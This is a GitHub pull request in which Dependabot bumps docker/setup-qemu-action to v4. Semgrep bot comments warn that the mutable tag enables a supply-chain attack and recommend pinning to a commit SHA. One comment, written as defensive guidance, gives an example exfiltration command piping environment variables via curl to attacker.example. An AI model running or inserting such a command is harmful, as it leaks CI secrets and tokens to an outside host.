chore(deps): bump docker/setup-qemu-action from 3 to 4#121
chore(deps): bump docker/setup-qemu-action from 3 to 4#121dependabot[bot] wants to merge 1 commit into
Conversation
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 3 to 4. - [Release notes](https://github.com/docker/setup-qemu-action/releases) - [Commits](docker/setup-qemu-action@v3...v4) --- updated-dependencies: - dependency-name: docker/setup-qemu-action dependency-version: '4' dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] <support@github.com>
dependabot
Bot
added
dependencies
dependabot
Bot
added
dependencies
![semgrep-code-mongodb[bot]](https://avatars.githubusercontent.com/u/45120?s=60&v=4){kind=small}
|
|
||
| - name: Set up QEMU | ||
| uses: docker/setup-qemu-action@v3 | ||
| uses: docker/setup-qemu-action@v4 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
docker/setup-qemu-action@v4 uses a movable tag, so a repointed v4 release could run attacker-controlled code in this workflow.
More details about this
docker/setup-qemu-action@v4 pulls the QEMU setup action from a movable v4 tag, not a fixed commit. Anyone who can repoint that tag in the docker/setup-qemu-action repository could change what runs in this job before Run Buildx, with your workflow’s permissions and access to repo data.
A plausible attack looks like this:
- An attacker compromises the action’s publishing process or maintainer account for
docker/setup-qemu-action. - They move the
v4tag to a new commit that adds malicious code to the action. - When
container_tests_muslruns, theSet up QEMUstep executes that attacker-controlled commit because it usesdocker/setup-qemu-action@v4. - That code can read the checked-out repository from the earlier
actions/checkout@v6step, inspect workflow files, and access any credentials or tokens available to the job. - It can then tamper with the environment used by
docker buildx createanddocker --debug buildx build, for example by altering the emulated build setup or exfiltrating data during the build forlinux/${{ matrix.linux_arch }}.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable tag in the
usesvalue with a full 40-character commit SHA fordocker/setup-qemu-action.
Changeuses: docker/setup-qemu-action@v4touses: docker/setup-qemu-action@<full-commit-sha>. -
Add the upstream version as a comment after the SHA so the workflow stays readable, for example
uses: docker/setup-qemu-action@<full-commit-sha> # v4.x.y. -
Use the commit SHA from the exact release you intend to trust, taken from the action's release page or commit history, instead of a moving tag like
v4.
Pinning to a commit prevents the action owner from silently changing what runs in this job. -
Alternatively, if you need to keep automatic version updates, use a dependency updater to open PRs that change the pinned SHA explicitly, rather than referencing
@v4directly.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
|
|
||
| - name: Set up QEMU | ||
| uses: docker/setup-qemu-action@v3 | ||
| uses: docker/setup-qemu-action@v4 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
docker/setup-qemu-action@v4 uses a movable tag, so a repointed v4 release could make this workflow run attacker-controlled code in the QEMU setup step.
More details about this
docker/setup-qemu-action@v4 pulls the v4 ref of the QEMU setup action, not a specific commit. If the owner of docker/setup-qemu-action — or anyone who compromises that repository — repoints v4 to a new commit, this workflow will run that new code during the Set up QEMU step before docker buildx build runs.
A plausible attack looks like this:
- An attacker gains control of the
docker/setup-qemu-actionrepository or its release process and moves thev4tag to a malicious commit. - Your
container_tests_glibcjob starts, reachesuses: docker/setup-qemu-action@v4, and GitHub downloads the attacker-controlled version. - That action executes in your runner with access to the job workspace and any credentials or tokens available to this workflow.
- The malicious action can read repository contents checked out by
actions/checkout, stealGITHUB_TOKEN, alter the Docker/Buildx environment, or tamper with the cross-architecture test build that uses${{ matrix.linux_arch }}and${{ steps.get_nodejs_version.outputs.version }}. - The job may still appear to succeed, while the attacker has already exfiltrated data or changed what gets built and tested.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable action tag with a full 40-character commit SHA in the
usesline for QEMU setup.
Changeuses: docker/setup-qemu-action@v4touses: docker/setup-qemu-action@<full-commit-sha>. -
Keep the current version as a comment so the pinned SHA is easier to track later.
Use the same format asuses: docker/setup-qemu-action@<full-commit-sha> # v4.x.y. -
Get the SHA from the exact action release you intend to trust, and pin to that commit instead of the major tag.
For example, usedocker/setup-qemu-action@<40-hex-sha>rather thandocker/setup-qemu-action@v4. -
Apply the same pinning format to the other GitHub Actions in this workflow that still use mutable refs, such as
actions/checkout@v6,actions/setup-node@v6, anddocker/setup-buildx-action@v3, so eachuses:value ends with a full commit SHA. Pinning to a commit SHA prevents the referenced action from changing silently if a tag is moved.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
|
|
||
| - name: Set up QEMU | ||
| uses: docker/setup-qemu-action@v3 | ||
| uses: docker/setup-qemu-action@v4 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
docker/setup-qemu-action@v4 uses a movable tag, so upstream changes to v4 could make this workflow run attacker-controlled code in CI.
More details about this
docker/setup-qemu-action@v4 is pulled by a movable tag in this workflow step, so the code that runs during Set up QEMU can change without this repository changing. If the owner of docker/setup-qemu-action republishes v4, or an attacker gains control of that action and retags v4, your container_tests_musl job will execute the new action code before docker buildx create and the later Docker build commands.
A plausible attack looks like this:
- An attacker gets the ability to change what
docker/setup-qemu-action@v4points to. - They publish a new commit behind
v4that adds a step to read runner data such as the checked-out repository, workflow-provided environment variables, and the Docker session available to the job. - When this workflow runs, the
Set up QEMUstep fetches that attacker-controlled commit because it uses@v4instead of a full commit SHA. - The malicious action runs in your GitHub Actions runner and can exfiltrate repository contents or tamper with the environment used by the later
Run Buildxstep, for example by modifying the builder setup or leaking anything accessible to the job overcurl.
Because the reference is mutable, the behavior of this CI job can be silently changed upstream with no diff in this repository.
To resolve this comment:
✨ Commit fix suggestion
| uses: docker/setup-qemu-action@v4 | |
| uses: docker/setup-qemu-action@e81b0b7f02c02679f63d4497631f4586d7b62c5f # v4.2.0 |
View step-by-step instructions
- Replace the mutable action reference with a full 40-character commit SHA in the
usesline for QEMU setup. - Update
uses: docker/setup-qemu-action@v4touses: docker/setup-qemu-action@<full-commit-sha>and, if helpful, add the released version as a comment, for exampleuses: docker/setup-qemu-action@<full-commit-sha> # v4.x.y. - Choose the SHA from the exact
docker/setup-qemu-actionrelease you want to trust, instead of a tag likev4. Pinning to a commit SHA prevents the action owner from silently moving the tag to different code later.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
|
|
||
| - name: Set up QEMU | ||
| uses: docker/setup-qemu-action@v3 | ||
| uses: docker/setup-qemu-action@v4 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
The Set up QEMU step uses docker/setup-qemu-action@v4, a mutable tag that can be silently repointed to malicious code and then run in this workflow.
More details about this
docker/setup-qemu-action@v4 in the Set up QEMU step is pinned to the mutable v4 tag, not a specific commit. If the owner repoints v4 to a different commit, this job will automatically run that new code on ubuntu-latest before your docker buildx commands, with access to the job’s workspace and any credentials available to the workflow.
A plausible attack looks like this:
- An attacker compromises the
docker/setup-qemu-actionrepository or a maintainer account. - They move the
v4tag to a malicious commit. - When
container_tests_glibcruns,uses: docker/setup-qemu-action@v4pulls and executes the attacker’s code in the Set up QEMU step. - That code can read files checked out by
actions/checkout@v6, inspect environment variables and tokens exposed to the job, and tamper with later steps like Set up Docker Buildx or thedocker buildx buildcommand. - For example, the malicious action could run
env | curl -X POST https://attacker.example/leak --data-binary @-or modify build inputs so the uploadedprebuilds/artifacts contain attacker-controlled content.
Because the reference is a tag, the workflow can start running different code later without any change in this repository.
To resolve this comment:
✨ Commit fix suggestion
- Replace the mutable action reference with a full 40-character commit SHA in the
usesline for QEMU setup. - Keep the current version as an inline comment so it is still easy to see the intended release, for example:
uses: docker/setup-qemu-action@<full-40-char-commit-sha> # v4. - Resolve the SHA from the exact
v4release you intend to trust, and use that commit instead of the tag. Pinning to a commit prevents the action owner from silently moving the tag to different code later.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
Bumps docker/setup-qemu-action from 3 to 4.
Release notes
Sourced from docker/setup-qemu-action's releases.
... (truncated)
Commits
96fe6efMerge pull request #315 from docker/dependabot/npm_and_yarn/docker/actions-to...31f08d3[dependabot skip] chore: update generated content4e7017abuild(deps): bump@docker/actions-toolkitfrom 0.91.0 to 0.92.00eca235Merge pull request #314 from crazy-max/fix-yarn-preapprove-actions-toolkitea66a41chore: allow actions-toolkit to bypass yarn age gate451542bMerge pull request #308 from docker/dependabot/npm_and_yarn/undici-6.27.0532ae00[dependabot skip] chore: update generated contentb6f5af6build(deps): bump undici from 6.26.0 to 6.27.0cf96b86Merge pull request #304 from docker/dependabot/npm_and_yarn/tmp-0.2.7f0ba643[dependabot skip] chore: update generated contentDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting
@dependabot rebase.Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebasewill rebase this PR@dependabot recreatewill recreate this PR, overwriting any edits that have been made to it@dependabot show <dependency name> ignore conditionswill show all of the ignore conditions of the specified dependency@dependabot ignore this major versionwill close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor versionwill close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependencywill close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)